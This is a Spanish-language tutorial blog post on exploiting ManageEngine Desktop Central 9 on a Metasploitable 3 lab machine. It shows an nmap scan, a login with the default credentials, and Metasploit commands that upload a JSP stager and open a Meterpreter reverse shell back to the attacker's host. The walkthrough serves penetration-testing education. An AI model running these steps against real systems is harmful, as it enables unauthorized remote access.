Explotando Windows Server mediante ManageEngine Desktop Central 9

explotando rdm

En el último tutorial de hacking, hemos visto como obtener contraseñas de cualquier servidor SSH mediante fuerza bruta. Una de las aplicaciones vulnerables en Metasploitable 3 es ManageEngine Desktop Central 9. Esta versión de ManageEngine Desktop Central 9 contiene varias vulnerabilidades que nos permiten cargar archivos y ejecutar comandos en el sistema de destino. El proveedor ha reparado ambas vulnerabilidades en versiones posteriores. Antes de comenzar a explotar estas vulnerabilidades, veamos para qué se utiliza ManageEngine Desktop Central 9.

ManageEngine Desktop Central es una aplicación integrada de administración de dispositivos móviles y de escritorio que ayuda a los administradores de sistemas a administrar servidores, dispositivos de clientes y dispositivos móviles desde una ubicación central. El software incluye funcionalidad para la administración de parches, la implementación de software, el control remoto y muchas otras características para administrar los recursos y la configuración de TI. ManageEngine Desktop Central se administra a través de una aplicación web que se ejecuta en el puerto 8022 en Metasploitable 3.

· Explotación de ManageEngine Desktop Central 9

Comencemos con la ejecución de un escaneo con Nmap en el destino Metasploitable 3 para obtener una visión general de los servicios que se ejecutan en esta máquina. En lugar de escanear el rango de los mil puertos comunes de Nmap, ejecutaremos el escaneo en todos los 65.536 puertos TCP agregando el indicador -p- al comando. Inicie el escaneo ejecutando el siguiente comando:

$ nmap -sV -p- $IP (La ip de la máquia objetivo)

Y obtenemos lo siguiente:

$ nmap -sV -p- 192.168.0.3
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-15 06:37 -05
Nmap scan report for 192.168.0.3
Host is up (0.00095s latency).
Not shown: 65486 closed ports
PORT      STATE SERVICE              VERSION
22/tcp    open  ssh                  OpenSSH 7.1 (protocol 2.0)
135/tcp   open  msrpc                Microsoft Windows RPC
139/tcp   open  netbios-ssn          Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds         Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1617/tcp  open  rmiregistry          Java RMI
3000/tcp  open  http                 WEBrick httpd 1.3.1 (Ruby 2.3.3 (2016-11-21))
3306/tcp  open  mysql                MySQL 5.5.20-log
3389/tcp  open  ms-wbt-server        Microsoft Terminal Service
3700/tcp  open  giop                 CORBA naming service
3820/tcp  open  ssl/giop             CORBA naming service
3920/tcp  open  ssl/exasoftport1?
4848/tcp  open  ssl/http             Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)
5985/tcp  open  http                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7676/tcp  open  java-message-service Java Message Service 301
8009/tcp  open  ajp13                Apache Jserv (Protocol v1.3)
8019/tcp  open  qbdb?
8020/tcp  open  http                 Apache httpd
8022/tcp  open  http                 Apache Tomcat/Coyote JSP engine 1.1
8027/tcp  open  unknown
8028/tcp  open  postgresql           PostgreSQL DB
8031/tcp  open  ssl/unknown
8032/tcp  open  desktop-central      ManageEngine Desktop Central DesktopCentralServer
8080/tcp  open  http                 Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)
8181/tcp  open  ssl/http             Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)
8282/tcp  open  http                 Apache Tomcat/Coyote JSP engine 1.1
8383/tcp  open  ssl/http             Apache httpd
8443/tcp  open  ssl/https-alt?
8444/tcp  open  desktop-central      ManageEngine Desktop Central DesktopCentralServer
8484/tcp  open  http                 Jetty winstone-2.8
8585/tcp  open  http                 Apache httpd 2.2.21 ((Win64) PHP/5.3.10 DAV/2)
8686/tcp  open  rmiregistry          Java RMI
9200/tcp  open  http                 Elasticsearch REST API 1.1.1 (name: Hitman; Lucene 4.7)
9300/tcp  open  vrace?
47001/tcp open  http                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open  msrpc                Microsoft Windows RPC
49153/tcp open  msrpc                Microsoft Windows RPC
49154/tcp open  msrpc                Microsoft Windows RPC
49155/tcp open  msrpc                Microsoft Windows RPC
49156/tcp open  unknown
49160/tcp open  msrpc                Microsoft Windows RPC
49162/tcp open  msrpc                Microsoft Windows RPC
49184/tcp open  rmiregistry          Java RMI
49210/tcp open  tcpwrapped
49266/tcp open  ssh                  Apache Mina sshd 0.8.0 (protocol 2.0)
49269/tcp open  jenkins-listener     Jenkins TcpSlaveAgentListener
49322/tcp open  rmiregistry          Java RMI
49325/tcp open  unknown
49326/tcp open  unknown
49327/tcp open  unknown
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; Device: remote management; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 262.03 seconds

Los resultados del análisis indican que la máquina Metasploitable 3 están ejecutando muchos servicios, incluido un servicio Apache Tomcat en el puerto 8022.

· Accediendo a la interfaz de administración de Desktop Central

Verifiquemos que Apache está ejecutando la interfaz web de ManageEngine Desktop Central 9 accediendo a la siguiente URL desde un navegador:

http://192.168.0.3:8022/

MED

Cuando accedemos a la URL utilizando el navegador, se nos presenta una página de inicio de sesión. El formulario de inicio de sesión en el lado derecho de la página indica las credenciales predeterminadas. Solo tenemos que presionar el botón 'Iniciar sesión' porque las credenciales ya se han ingresado en el inicio de sesión:

screenshot

 

Al hacer clic en el botón 'Iniciar sesión' nos lleva a la página de administrador de Desktop Central 9.

A partir de este momento, debería ser fácil convertir este nuevo nivel de acceso en un shell en la máquina de destino. Por lo general, esto puede hacerse localizando vulnerabilidades conocidas o (mal) utilizando la funcionalidad predeterminada en este software. Especialmente en aplicaciones sensibles y ricas en funciones como Desktop Central, esto no debería ser demasiado difícil. Para convertir la funcionalidad normal en un shell, deberíamos buscar funcionalidad para cargar archivos, instalar complementos, editar archivos del sistema y cualquier otra cosa que nos permita ejecutar código o comandos en el sistema de destino.

- Buscando información interesante

Otro paso importante a tomar en este punto es buscar información (sensible) interesante sobre este nivel de acceso renovado. La información interesante es información que puede ayudarnos más en el proceso de identificación de vulnerabilidades y en el proceso de explotación. Ejemplos de información interesante son la versión y los números de compilación, las credenciales, las notas del administrador, los tickets, los parámetros de configuración, la información del sistema y cualquier otra información que nos diga algo interesante sobre el objetivo.

En el encabezado del panel de administración podemos encontrar la versión y los números de compilación: ManageEngine Desktop Central 9 Build 91084. Esta es una gran información que podemos usar para buscar vulnerabilidades conocidas para esta versión específica y compilación de Desktop Central 9.

MDE

Cuando buscamos en Google vulnerabilidades conocidas para esta versión de Desktop Central y explotamos el código, terminamos rápidamente en la siguiente página del sitio web de Rapid 7:

https://www.rapid7.com/db/modules/exploit/windows/http/manageengine_con…

CVE

Como podemos ver, la versión y el número de compilación coinciden exactamente con los números en el panel de administración. Ahora ejecutaremos metasploit.

· Explotando Desktop Central 9 con Metasploit

En los siguientes pasos, obtendremos acceso de shell en la máquina Metasploitable 3. Vamos a encender Metasploit ejecutando el siguiente comando:

$ msfconsole

Ejecute el siguiente comando en msfconsole para seleccionar la vulnerabilidad de ManageEngine Desktop Central que hemos encontrado anteriormente en el sitio web de Rapid 7:

msf > use exploit/windows/http/manageengine_connectionid_write

El comando 'options' revela que tenemos que configurar 3 opciones requeridas:

  • RHOST: IP host de destino
  • RPORT: El puerto en el que se está ejecutando la interfaz web de ManageEngine Desktop Central.
  • TARGETURI: la ruta base para la interfaz web de ManageEngine Desktop Central.

Mantendremos el valor de targeturi predeterminado. Esto requiere que solo configuremos el parámetro de host y puerto de destino ejecutando los siguientes comandos:

msf exploit(windows/http/manageengine_connectionid_write) > set rport 8022
rport => 8022
msf exploit(windows/http/manageengine_connectionid_write) > set rhost 192.168.0.3
rhost => 192.168.0.3

Finalmente especificamos la carga útil (payload) y sus campos requeridos con los siguientes comandos:

msf exploit(windows/http/manageengine_connectionid_write) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/http/manageengine_connectionid_write) > set lhost 192.168.0.5
lhost => 192.168.0.5

Finalmente escriba "run" para ejecutar el exploit.

msf exploit(windows/http/manageengine_connectionid_write) > run

[*] Started reverse TCP handler on 192.168.0.5:4444 
[*] Creating JSP stager
[*] Uploading JSP stager fnUWy.jsp...
[*] Executing stager...
[*] Sending stage (179779 bytes) to 192.168.0.3
[*] Meterpreter session 2 opened (192.168.0.5:4444 -> 192.168.0.3:49644) at 2018-10-15 07:31:07 -0500
[!] This exploit may require manual cleanup of '../webapps/DesktopCentral/jspf/fnUWy.jsp' on the target
[+] Deleted ../webapps/DesktopCentral/jspf/fnUWy.jsp

meterpreter > 

Si todo fue exitoso, ahora tenemos un shell en el host Metasploitable 3. Desde este punto, podemos trabajar en la escalada de privilegios y ejecutar técnicas posteriores a la explotación. Las máquinas Metasploitable 3 contienen muchas más vulnerabilidades que vamos a explotar en los próximos tutoriales.

meterpreter

Síguenos en FacebookTwitterunete a nuestro chat en Discord y no olvides compartirnos en las redes sociales. También puede hacernos una donación o comprar nuestros servicios.

Acerca del autor

Especialista en Seguridad Informática bajo certificación OSCP, experto en técnicas de privacidad y seguridad en la red, desarrollador back-end, miembro de la FSF y Fundador de Security Hack Labs. Desarrollador de la distribución de hacking BlackArch Linux. Twitter: @edu4rdshl XMPP/Email: [email protected]